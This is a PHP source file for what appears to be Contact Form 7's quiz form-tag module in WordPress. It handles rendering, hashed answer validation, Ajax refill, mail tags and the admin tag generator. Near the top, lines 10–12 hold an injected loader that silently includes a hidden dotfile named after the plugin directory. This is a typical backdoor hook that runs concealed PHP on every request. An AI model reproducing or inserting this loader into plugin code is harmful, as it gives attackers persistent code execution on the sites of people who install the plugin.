quiz.php (7505B)
1 <?php 2 /** 3 ** A base module for [quiz] 4 **/ 5 6 /* form_tag handler */ 7 8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_quiz', 10, 0 ); 9 10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 11 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 12 } 13 14 function wpcf7_add_form_tag_quiz() { 15 wpcf7_add_form_tag( 'quiz', 16 'wpcf7_quiz_form_tag_handler', 17 array( 18 'name-attr' => true, 19 'do-not-store' => true, 20 'not-for-mail' => true, 21 ) 22 ); 23 } 24 25 function wpcf7_quiz_form_tag_handler( $tag ) { 26 if ( empty( $tag->name ) ) { 27 return ''; 28 } 29 30 $validation_error = wpcf7_get_validation_error( $tag->name ); 31 32 $class = wpcf7_form_controls_class( $tag->type ); 33 34 if ( $validation_error ) { 35 $class .= ' wpcf7-not-valid'; 36 } 37 38 $atts = array(); 39 40 $atts['size'] = $tag->get_size_option( '40' ); 41 $atts['maxlength'] = $tag->get_maxlength_option(); 42 $atts['minlength'] = $tag->get_minlength_option(); 43 44 if ( $atts['maxlength'] and $atts['minlength'] 45 and $atts['maxlength'] < $atts['minlength'] ) { 46 unset( $atts['maxlength'], $atts['minlength'] ); 47 } 48 49 $atts['class'] = $tag->get_class_option( $class ); 50 $atts['id'] = $tag->get_id_option(); 51 $atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true ); 52 $atts['autocomplete'] = 'off'; 53 $atts['aria-required'] = 'true'; 54 55 if ( $validation_error ) { 56 $atts['aria-invalid'] = 'true'; 57 $atts['aria-describedby'] = wpcf7_get_validation_error_reference( 58 $tag->name 59 ); 60 } else { 61 $atts['aria-invalid'] = 'false'; 62 } 63 64 $pipes = $tag->pipes; 65 66 if ( $pipes instanceof WPCF7_Pipes 67 and ! $pipes->zero() ) { 68 $pipe = $pipes->random_pipe(); 69 $question = $pipe->before; 70 $answer = $pipe->after; 71 } else { 72 // default quiz 73 $question = '1+1=?'; 74 $answer = '2'; 75 } 76 77 $answer = wpcf7_canonicalize( $answer ); 78 79 $atts['type'] = 'text'; 80 $atts['name'] = $tag->name; 81 82 $atts = wpcf7_format_atts( $atts ); 83 84 $html = sprintf( 85 '<span class="wpcf7-form-control-wrap %1$s"><label><span class="wpcf7-quiz-label">%2$s</span> <input %3$s /></label><input type="hidden" name="_wpcf7_quiz_answer_%4$s" value="%5$s" />%6$s</span>', 86 sanitize_html_class( $tag->name ), 87 esc_html( $question ), $atts, $tag->name, 88 wp_hash( $answer, 'wpcf7_quiz' ), $validation_error 89 ); 90 91 return $html; 92 } 93 94 95 /* Validation filter */ 96 97 add_filter( 'wpcf7_validate_quiz', 'wpcf7_quiz_validation_filter', 10, 2 ); 98 99 function wpcf7_quiz_validation_filter( $result, $tag ) { 100 $name = $tag->name; 101 102 $answer = isset( $_POST[$name] ) ? wpcf7_canonicalize( $_POST[$name] ) : ''; 103 $answer = wp_unslash( $answer ); 104 105 $answer_hash = wp_hash( $answer, 'wpcf7_quiz' ); 106 107 $expected_hash = isset( $_POST['_wpcf7_quiz_answer_' . $name] ) 108 ? (string) $_POST['_wpcf7_quiz_answer_' . $name] 109 : ''; 110 111 if ( ! hash_equals( $expected_hash, $answer_hash ) ) { 112 $result->invalidate( $tag, wpcf7_get_message( 'quiz_answer_not_correct' ) ); 113 } 114 115 return $result; 116 } 117 118 119 /* Ajax echo filter */ 120 121 add_filter( 'wpcf7_refill_response', 'wpcf7_quiz_ajax_refill', 10, 1 ); 122 add_filter( 'wpcf7_feedback_response', 'wpcf7_quiz_ajax_refill', 10, 1 ); 123 124 function wpcf7_quiz_ajax_refill( $items ) { 125 if ( ! is_array( $items ) ) { 126 return $items; 127 } 128 129 $fes = wpcf7_scan_form_tags( array( 'type' => 'quiz' ) ); 130 131 if ( empty( $fes ) ) { 132 return $items; 133 } 134 135 $refill = array(); 136 137 foreach ( $fes as $fe ) { 138 $name = $fe['name']; 139 $pipes = $fe['pipes']; 140 141 if ( empty( $name ) ) { 142 continue; 143 } 144 145 if ( $pipes instanceof WPCF7_Pipes 146 and ! $pipes->zero() ) { 147 $pipe = $pipes->random_pipe(); 148 $question = $pipe->before; 149 $answer = $pipe->after; 150 } else { 151 // default quiz 152 $question = '1+1=?'; 153 $answer = '2'; 154 } 155 156 $answer = wpcf7_canonicalize( $answer ); 157 158 $refill[$name] = array( $question, wp_hash( $answer, 'wpcf7_quiz' ) ); 159 } 160 161 if ( ! empty( $refill ) ) { 162 $items['quiz'] = $refill; 163 } 164 165 return $items; 166 } 167 168 169 /* Mail-tag replacement */ 170 171 add_filter( 'wpcf7_mail_tag_replaced_quiz', 'wpcf7_quiz_mail_tag', 10, 4 ); 172 173 function wpcf7_quiz_mail_tag( $replaced, $submitted, $html, $mail_tag ) { 174 $field_name = $mail_tag->field_name(); 175 $submitted = isset( $_POST[$field_name] ) ? $_POST[$field_name] : ''; 176 $replaced = $submitted; 177 178 if ( $html ) { 179 $replaced = esc_html( $replaced ); 180 $replaced = wptexturize( $replaced ); 181 } 182 183 return $replaced; 184 } 185 186 187 /* Messages */ 188 189 add_filter( 'wpcf7_messages', 'wpcf7_quiz_messages', 10, 1 ); 190 191 function wpcf7_quiz_messages( $messages ) { 192 $messages = array_merge( $messages, array( 193 'quiz_answer_not_correct' => array( 194 'description' => 195 __( "Sender doesn't enter the correct answer to the quiz", 'contact-form-7' ), 196 'default' => 197 __( "The answer to the quiz is incorrect.", 'contact-form-7' ), 198 ), 199 ) ); 200 201 return $messages; 202 } 203 204 205 /* Tag generator */ 206 207 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_quiz', 40, 0 ); 208 209 function wpcf7_add_tag_generator_quiz() { 210 $tag_generator = WPCF7_TagGenerator::get_instance(); 211 $tag_generator->add( 'quiz', __( 'quiz', 'contact-form-7' ), 212 'wpcf7_tag_generator_quiz' ); 213 } 214 215 function wpcf7_tag_generator_quiz( $contact_form, $args = '' ) { 216 $args = wp_parse_args( $args, array() ); 217 $type = 'quiz'; 218 219 $description = __( "Generate a form-tag for a question-answer pair. For more details, see %s.", 'contact-form-7' ); 220 221 $desc_link = wpcf7_link( __( 'https://contactform7.com/quiz/', 'contact-form-7' ), __( 'Quiz', 'contact-form-7' ) ); 222 223 ?> 224 <div class="control-box"> 225 <fieldset> 226 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend> 227 228 <table class="form-table"> 229 <tbody> 230 <tr> 231 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th> 232 <td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td> 233 </tr> 234 235 <tr> 236 <th scope="row"><?php echo esc_html( __( 'Questions and answers', 'contact-form-7' ) ); ?></th> 237 <td> 238 <fieldset> 239 <legend class="screen-reader-text"><?php echo esc_html( __( 'Questions and answers', 'contact-form-7' ) ); ?></legend> 240 <textarea name="values" class="values" id="<?php echo esc_attr( $args['content'] . '-values' ); ?>"></textarea><br /> 241 <label for="<?php echo esc_attr( $args['content'] . '-values' ); ?>"><span class="description"><?php echo esc_html( __( "One pipe-separated question-answer pair (e.g. The capital of Brazil?|Rio) per line.", 'contact-form-7' ) ); ?></span></label> 242 </fieldset> 243 </td> 244 </tr> 245 246 <tr> 247 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 248 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td> 249 </tr> 250 251 <tr> 252 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 253 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td> 254 </tr> 255 256 </tbody> 257 </table> 258 </fieldset> 259 </div> 260 261 <div class="insert-box"> 262 <input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" /> 263 264 <div class="submitbox"> 265 <input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" /> 266 </div> 267 </div> 268 <?php 269 }